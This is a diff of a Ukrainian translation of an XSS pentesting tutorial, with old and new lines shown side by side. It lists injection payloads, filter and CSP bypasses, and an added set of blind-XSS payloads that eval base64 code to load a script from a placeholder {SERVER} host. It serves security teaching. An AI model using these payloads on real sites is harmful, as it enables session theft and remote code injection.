Щоб перевірити, в які символи вони розкладаються, перевірте [тут](https://www.compart.com/en/unicode/U+2121).
### Click XSS - Clickjacking
@ -243,14 +243,14 @@ onerror=alert`1`
### Неможливо - Dangling Markup
Якщо ви просто вважаєте, що **неможливо створити HTML-тег з атрибутом для виконання JS-коду**, вам слід перевірити [**Dangling Markup**](../dangling-markup-html-scriptless-injection/index.html), оскільки ви можете **експлуатувати** вразливість **без** виконання **JS** коду.
Якщо ви просто вважаєте, що **неможливо створити HTML-тег з атрибутом для виконання JS-коду**, вам слід перевірити [**Danglig Markup**](../dangling-markup-html-scriptless-injection/index.html), оскільки ви можете **експлуатувати** вразливість **без** виконання **JS** коду.
## Впровадження всередині HTML-тегу
### Всередині тегу/вихід з значення атрибута
Якщо ви **всередині HTML-тегу**, перше, що ви можете спробувати, це **вийти** з тегу та використати деякі з технік, згаданих у [попередньому розділі](#injecting-inside-raw-html), щоб виконати JS-код.\
Якщо ви **не можете вийти з тегу**, ви можете створити нові атрибути всередині тегу, щоб спробувати виконати JS-код, наприклад, використовуючи деякі корисні дані, як (_зауважте, що в цьому прикладі подвійні лапки використовуються для виходу з атрибута, вам не знадобляться, якщо ваш ввід відображається безпосередньо всередині тегу_):
Якщо ви **не можете вийти з тегу**, ви можете створити нові атрибути всередині тегу, щоб спробувати виконати JS-код, наприклад, використовуючи деякі корисні дані, як (_зауважте, що в цьому прикладі подвійні лапки використовуються для виходу з атрибута, вам не знадобляться вони, якщо ваш ввід відображається безпосередньо всередині тегу_):
```bash
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
@ -267,7 +267,7 @@ onerror=alert`1`
```
### Всередині атрибута
Навіть якщо ви **не можете вийти з атрибута** (`"` кодується або видаляється), в залежності від **того, який атрибут** відображає ваше значення **якщо ви контролюєте все значення або лише частину** ви зможете це зловживати. Наприклад, якщо ви контролюєте подію, таку як `onclick=`, ви зможете змусити її виконати довільний код при натисканні.\
Навіть якщо ви **не можете вийти з атрибута** (`"` кодується або видаляється), в залежності від **того, в якому атрибуті** ваше значення відображається **якщо ви контролюєте все значення або лише частину** ви зможете це зловживати. Наприклад, якщо ви контролюєте подію, таку як `onclick=`, ви зможете змусити її виконати довільний код, коли на неї натиснуть.\
Ще один цікавий **приклад** - атрибут `href`, де ви можете використовувати протокол `javascript:` для виконання довільного коду: **`href="javascript:alert(1)"`**
**Обхід всередині події за допомогою HTML кодування/URL кодування**
@ -377,7 +377,7 @@ _**У цьому випадку трюк з HTML-кодуванням та ко
```javascript
<a target="_blank" rel="opener"
```
Якщо ви можете вставити будь-яке URL в довільний **`<a href=`** тег, який містить атрибути **`target="_blank" і rel="opener"`**, перевірте **наступну сторінку для використання цієї поведінки**:
Якщо ви можете вставити будь-яке URL в довільний **`<a href=`** тег, який містить атрибути **`target="_blank"` та `rel="opener"`**, перевірте **наступну сторінку для використання цієї поведінки**:
{{#ref}}
../reverse-tab-nabbing.md
@ -403,12 +403,12 @@ Android: %09 %20 %28 %2C %3B
```
### XSS в "Неексплуатованих тегах" (прихований ввід, посилання, канонічний, мета)
З [**цієї статті**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **тепер можливо зловживати прихованими ввідними полями з:**
З [**цієї статті**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **тепер можливо зловживати прихованими ввідними даними з:**
```html
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
```
І в **meta tags**:
І в **meta тегах**:
```html
<!-- Injection inside meta attribute-->
<meta
@ -426,14 +426,14 @@ onbeforetoggle="alert(2)" />
```html
<input type="hidden" accesskey="X" onclick="alert(1)">
```
**Payload XSS буде щось на зразок цього: `" accesskey="x" onclick="alert(1)" x="`**
**Payload XSS буде виглядати приблизно так:** `" accesskey="x" onclick="alert(1)" x="`
### Обхід чорного списку
Вже було виявлено кілька трюків з використанням різного кодування в цій секції. Поверніться, щоб дізнатися, де ви можете використовувати:
Вже було розкрито кілька трюків з використанням різного кодування в цій секції. Поверніться, щоб дізнатися, де ви можете використовувати:
- **HTML кодування (HTML теги)**
- **Unicode кодування (може бути дійсним JS кодом):** `\u0061lert(1)`
- **Юнікод кодування (може бути дійсним JS кодом):** `\u0061lert(1)`
- **URL кодування**
- **Шістнадцяткове та вісімкове кодування**
- **кодування даних**
@ -448,7 +448,7 @@ onbeforetoggle="alert(2)" />
### CSS-Гаджети
Якщо ви знайшли **XSS у дуже маленькій частині** вебу, яка вимагає певної взаємодії (можливо, маленьке посилання в нижньому колонтитулі з елементом onmouseover), ви можете спробувати **змінити простір, який займає цей елемент**, щоб максимізувати ймовірність активації посилання.
Якщо ви знайшли **XSS у дуже маленькій частині** вебу, яка вимагає певного виду взаємодії (можливо, маленьке посилання в нижньому колонтитулі з елементом onmouseover), ви можете спробувати **змінити простір, який займає цей елемент**, щоб максимізувати ймовірність активації посилання.
Наприклад, ви могли б додати деяке стилювання в елемент, наприклад: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
@ -470,7 +470,7 @@ onbeforetoggle="alert(2)" />
У цих випадках ваш **вхід** буде **відображено всередині JS коду** файлу `.js` або між тегами `<script>...</script>` або між HTML подіями, які можуть виконувати JS код, або між атрибутами, які приймають протокол `javascript:`.
### Вихід з \<script> тегу
### Вихід з тегу \<script>
Якщо ваш код вставлений у `<script> [...] var input = 'reflected data' [...] </script>`, ви можете легко **вийти, закривши тег `<script>`**:
```javascript
@ -488,7 +488,7 @@ onbeforetoggle="alert(2)" />
```
### Шаблонні літерали \`\`
Щоб створити **рядки** окрім одинарних і подвійних лапок, JS також приймає **зворотні лапки** **` `` `**. Це відомо як шаблонні літерали, оскільки вони дозволяють **вбудовувати JS вирази** за допомогою синтаксису `${ ... }`.\
Щоб створити **рядки** окрім одинарних і подвійних лапок, JS також приймає **зворотні лапки** **` `` `**. Це відомо як шаблонні літерали, оскільки вони дозволяють **вбудовані JS вирази** з використанням синтаксису `${ ... }`.\
Отже, якщо ви виявите, що ваш ввід **відображається** всередині JS рядка, який використовує зворотні лапки, ви можете зловживати синтаксисом `${ ... }`, щоб виконати **произвольний JS код**:
Це можна **зловживати** за допомогою:
@ -503,7 +503,7 @@ return loop
}
loop``
```
### Виконання коду з кодуванням
### Закодоване виконання коду
```html
<script>\u0061lert(1)</script>
<svg><script>alert&lpar;'1'&rpar;
@ -549,7 +549,7 @@ eval(8680439..toString(30))(983801..toString(36))
"\t" //tab
// Any other char escaped is just itself
```
**Заміни пробілів у JS коді**
**Заміни пробілів всередині JS коду**
```javascript
<TAB>
/**/
@ -740,7 +740,7 @@ top[8680439..toString(30)](1)
## **DOM вразливості**
Є **JS код**, який використовує **неконтрольовані дані, що контролюються атакуючим**, такі як `location.href`. Атакуючий може зловживати цим, щоб виконати довільний JS код.\
**Через розширення пояснення про** [**DOM вразливості, воно було переміщено на цю сторінку**](dom-xss.md)**:**
**Через розширення пояснення** [**DOM вразливостей, воно було переміщено на цю сторінку**](dom-xss.md)**:**
{{#ref}}
dom-xss.md
@ -753,7 +753,7 @@ dom-xss.md
### Cookie XSS
Якщо ви можете викликати XSS, відправивши payload всередині cookie, це зазвичай є self-XSS. Однак, якщо ви знайдете **вразливий піддомен до XSS**, ви можете зловживати цим XSS, щоб інжектувати cookie в цілий домен, викликавши cookie XSS в основному домені або інших піддоменах (тих, що вразливі до cookie XSS). Для цього ви можете використовувати атаку cookie tossing:
Якщо ви можете викликати XSS, відправивши payload всередині cookie, це зазвичай є self-XSS. Однак, якщо ви знайдете **вразливий піддомен до XSS**, ви можете зловживати цим XSS, щоб інжектувати cookie в весь домен, викликавши cookie XSS в основному домені або інших піддоменах (тих, що вразливі до cookie XSS). Для цього ви можете використовувати атаку cookie tossing:
{{#ref}}
../hacking-with-cookies/cookie-tossing.md
@ -767,9 +767,9 @@ dom-xss.md
### Віддзеркалення сесії
Якщо ви знайдете деякі self XSS, і веб-сторінка має **віддзеркалення сесії для адміністраторів**, наприклад, дозволяючи клієнтам просити допомогу, щоб адміністратор міг вам допомогти, він буде бачити те, що ви бачите у своїй сесії, але з його сесії.
Якщо ви знайдете деяке self XSS, і веб-сторінка має **віддзеркалення сесії для адміністраторів**, наприклад, дозволяючи клієнтам просити допомогу, щоб адміністратор міг вам допомогти, він буде бачити те, що ви бачите у своїй сесії, але з його сесії.
Ви могли б змусити **адміністратора активувати ваш self XSS** і вкрасти його cookies/сесію.
Ви могли б змусити **адміністратора активувати ваше self XSS** і вкрасти його cookies/сесію.
## Інші обхідні шляхи
@ -788,7 +788,7 @@ dom-xss.md
```
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
```
Пара "Key","Value" буде відображена назад ось так:
Пара "Key","Value" буде виведена назад ось так:
```
{" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}
```
@ -828,7 +828,7 @@ document['default'+'View'][`\u0061lert`](3)
Якщо ви виявите, що можете **ін'єктувати заголовки в відповіді 302 Redirect**, ви можете спробувати **змусити браузер виконати довільний JavaScript**. Це **не тривіально**, оскільки сучасні браузери не інтерпретують тіло HTTP-відповіді, якщо код статусу HTTP-відповіді - 302, тому просто корисний payload для міжсайтового скриптингу не буде працювати.
У [**цьому звіті**](https://www.gremwell.com/firefox-xss-302) та [**цьому**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) ви можете прочитати, як ви можете протестувати кілька протоколів у заголовку Location і подивитися, чи дозволяє якийсь з них браузеру перевірити та виконати payload XSS у тілі.\
У [**цьому звіті**](https://www.gremwell.com/firefox-xss-302) та [**цьому**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) ви можете прочитати, як ви можете протестувати кілька протоколів у заголовку Location і подивитися, чи дозволяє якийсь з них браузеру перевіряти та виконувати payload XSS у тілі.\
Відомі протоколи: `mailto://`, `//x:1/`, `ws://`, `wss://`, _порожній заголовок Location_, `resource://`.
### Тільки літери, цифри та крапки
@ -837,11 +837,11 @@ document['default'+'View'][`\u0061lert`](3)
### Дійсні `<script>` Content-Types для XSS
(З [**тут**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Якщо ви спробуєте завантажити скрипт з **content-type**, таким як `application/octet-stream`, Chrome видасть наступну помилку:
(З [**тут**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Якщо ви спробуєте завантажити скрипт з **content-type** таким як `application/octet-stream`, Chrome видасть наступну помилку:
> Відмовлено у виконанні скрипта з [https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') через те, що його MIME-тип (application/octet-stream) не є виконуваним, і строгий контроль MIME-типів увімкнено.
> Відмовлено у виконанні скрипту з [https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') через те, що його MIME-тип (application/octet-stream) не є виконуваним, і строгий контроль MIME-типів увімкнено.
Єдиними **Content-Type**ами, які підтримуватимуть Chrome для виконання **завантаженого скрипта**, є ті, що входять до константи **`kSupportedJavascriptTypes`** з [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)
Єдині **Content-Type**s, які дозволять Chrome виконати **завантажений скрипт**, - це ті, що входять до константи **`kSupportedJavascriptTypes`** з [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)
```c
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
@ -915,24 +915,24 @@ import { partition } from "lodash"
}
</script>
```
### Web Content-Types to XSS
### Веб-типи вмісту для XSS
(З [**тут**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Наступні типи контенту можуть виконувати XSS у всіх браузерах:
(З [**тут**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Наступні типи вмісту можуть виконувати XSS у всіх браузерах:
- text/html
- application/xhtml+xml
- application/xml
- text/xml
- image/svg+xml
- text/plain (?? не в списку, але я думаю, що бачив це в CTF)
- text/plain (?? не в списку, але я думаю, що бачив це на CTF)
- application/rss+xml (вимкнено)
- application/atom+xml (вимкнено)
В інших браузерах можуть використовуватися інші **`Content-Types`** для виконання довільного JS, перевірте: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
### xml Content Type
### xml Тип вмісту
Якщо сторінка повертає тип контенту text/xml, можливо вказати простір імен і виконати довільний JS:
Якщо сторінка повертає тип вмісту text/xml, можливо вказати простір імен і виконати довільний JS:
```xml
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
@ -942,7 +942,7 @@ import { partition } from "lodash"
```
### Спеціальні шаблони заміни
Коли використовується щось на кшталт **`"some {{template}} data".replace("{{template}}", <user_input>)`**, атакуючий може використовувати [**спеціальні заміни рядків**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement), щоб спробувати обійти деякі захисти: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
Коли використовується щось на кшталт **`"some {{template}} data".replace("{{template}}", <user_input>)`**, зловмисник може використовувати [**спеціальні заміни рядків**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement), щоб спробувати обійти деякі захисти: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
Наприклад, у [**цьому звіті**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA) це було використано для **екранування JSON рядка** всередині скрипта та виконання довільного коду.
@ -1009,7 +1009,7 @@ return arguments.callee.caller.arguments[1]("fs").readFileSync(
)
})()
```
У схожий спосіб, як у попередньому прикладі, можливо **використовувати обробники помилок** для доступу до **обгортки** модуля та отримання **`require`** функції:
Аналогічно попередньому прикладу, можливо **використовувати обробники помилок** для доступу до **обгортки** модуля та отримання **`require`** функції:
```javascript
try {
null.f()
@ -1361,7 +1361,7 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
```
_Короткі часи вказують на відповідний порт_ _Довші часи вказують на відсутність відповіді._
Перегляньте список портів, заборонених у Chrome [**тут**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) та у Firefox [**тут**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
Перегляньте список заборонених портів у Chrome [**тут**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) та у Firefox [**тут**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
### Поле для запиту облікових даних
```html
@ -1471,6 +1471,31 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
<!-- Payloads from https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide -->
<!-- Image tag -->
'"><img src="x" onerror="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
<!-- Input tag with autofocus -->
'"><input autofocus onfocus="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
<!-- In case jQuery is loaded, we can make use of the getScript method -->
'"><script>$.getScript("{SERVER}/script.js")</script>
<!-- Make use of the JavaScript protocol (applicable in cases where your input lands into the "href" attribute or a specific DOM sink) -->
javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw=="))
<!-- Render an iframe to validate your injection point and receive a callback -->
'"><iframe src="{SERVER}"></iframe>
<!-- Bypass certain Content Security Policy (CSP) restrictions with a base tag -->
<base href="{SERVER}" />
<!-- Make use of the meta-tag to initiate a redirect -->
<meta http-equiv="refresh" content="0; url={SERVER}" />
<!-- In case your target makes use of AngularJS -->
{{constructor.constructor("import('{SERVER}/script.js')")()}}
```
### Regex - Доступ до прихованого контенту
@ -1519,7 +1544,7 @@ xss-in-markdown.md
### XSS у динамічно створеному PDF
Якщо веб-сторінка створює PDF, використовуючи введення, контрольоване користувачем, ви можете спробувати **обманути бота**, який створює PDF, щоб він **виконував довільний JS код**.\
Отже, якщо **бот створення PDF знаходить** якийсь **HTML** **теги**, він буде **інтерпретувати** їх, і ви можете **зловживати** цією поведінкою, щоб викликати **Server XSS**.
Отже, якщо **бот для створення PDF знаходить** якийсь **HTML** **теги**, він буде **інтерпретувати** їх, і ви можете **зловживати** цією поведінкою, щоб викликати **Server XSS**.
{{#ref}}
server-side-xss-dynamic-pdf.md
@ -1531,6 +1556,14 @@ server-side-xss-dynamic-pdf.md
pdf-injection.md
{{#endref}}
### XSS у Amp4Email
AMP, спрямований на прискорення продуктивності веб-сторінок на мобільних пристроях, включає HTML теги, доповнені JavaScript, щоб забезпечити функціональність з акцентом на швидкість і безпеку. Він підтримує ряд компонентів для різних функцій, доступних через [AMP components](https://amp.dev/documentation/components/?format=websites).
Формат [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) розширює специфічні компоненти AMP для електронних листів, дозволяючи отримувачам взаємодіяти з контентом безпосередньо в їхніх електронних листах.
Приклад [**writeup XSS у Amp4Email у Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
### XSS завантаження файлів (svg)
Завантажте як зображення файл, подібний до наступного (з [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
@ -1604,5 +1637,6 @@ other-js-tricks.md
- [https://github.com/ismailtasdelen/xss-payload-list](https://github.com/ismailtasdelen/xss-payload-list)
- [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
- [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
- [https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide](https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide)
{{#include ../../banners/hacktricks-training.md}}